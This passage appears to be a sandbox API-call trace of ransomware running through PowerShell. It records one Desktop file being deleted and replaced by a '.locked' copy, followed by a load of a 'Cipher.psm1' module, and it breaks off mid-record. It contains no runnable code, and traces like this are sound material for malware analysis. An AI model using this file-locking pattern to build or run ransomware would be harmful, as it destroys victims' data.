0x1d [0128.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3")) returned 0x20 [0128.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0128.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3\\", lpFilePart=0x0) returned 0x32 [0128.214] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0128.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0128.215] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0128.215] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0128.215] CoTaskMemFree (pv=0x8ebb8c8) [0128.216] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3")) returned 0x20 [0128.216] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.216] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0128.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6a69c44 | out: lpFileInformation=0x6a69c44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828c0ae0, ftCreationTime.dwHighDateTime=0x1d4a364, ftLastAccessTime.dwLowDateTime=0x6eef82b0, ftLastAccessTime.dwHighDateTime=0x1d4a20a, ftLastWriteTime.dwLowDateTime=0x6eef82b0, ftLastWriteTime.dwHighDateTime=0x1d4a20a, nFileSizeHigh=0x0, nFileSizeLow=0x14971)) returned 1 [0128.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0128.217] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3")) returned 1 [0128.219] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.220] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="ༀࣣ") returned 0x0 [0128.220] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.220] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.221] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3.locked")) returned 0x20 [0128.222] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3.locked")) returned 0x20 [0128.222] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked", lpFilePart=0x0) returned 0x38 [0128.222] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked", lpFilePart=0x0) returned 0x38 [0128.222] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.223] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0128.223] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.223] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.223] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.223] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.225] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.226] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.226] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.226] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.226] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.228] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.228] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.229] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.229] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.229] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.230] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.231] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.231] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.231] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.231] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.233] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.234] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.234] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.234] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.234] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.236] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.238] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a78364 | out: lpFileInformation=0x6a78364*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3e6f4, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xfa3e6f4, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xfa68077, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x14994)) returned 1 [0128.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.238] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked", lpFilePart=0x0) returned 0x38 [0128.239] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0128.239] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.239] CloseHandle (hObject=0x868) returned 1 [0128.241] GetConsoleOutputCP () returned 0x1b5 [0128.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.242] GetConsoleOutputCP () returned 0x1b5 [0128.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.242] GetConsoleOutputCP () returned 0x1b5 [0128.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.242] GetConsoleOutputCP () returned 0x1b5 [0128.242] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.243] GetConsoleOutputCP () returned 0x1b5 [0128.243] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.243] GetConsoleOutputCP () returned 0x1b5 [0128.243] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.243] GetConsoleOutputCP () returned 0x1b5 [0128.243] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.243] GetConsoleOutputCP () returned 0x1b5 [0128.244] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.244] GetConsoleOutputCP () returned 0x1b5 [0128.244] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.244] GetConsoleOutputCP () returned 0x1b5 [0128.244] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.244] GetConsoleOutputCP () returned 0x1b5 [0128.245] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.245] GetConsoleOutputCP () returned 0x1b5 [0128.245] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.245] GetConsoleOutputCP () returned 0x1b5 [0128.245] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.246] GetConsoleOutputCP () returned 0x1b5 [0128.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.246] GetConsoleOutputCP () returned 0x1b5 [0128.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.246] GetConsoleOutputCP () returned 0x1b5 [0128.246] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.246] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0128.247] GetConsoleOutputCP () returned 0x1b5 [0128.247] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0128.247] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.247] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a9f0a4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6a9f0a4*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0128.248] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.248] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0128.253] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.253] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.254] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\xbb00\x6a2\xbb70\x6a2\xbb28\x6a2\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0128.255] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, 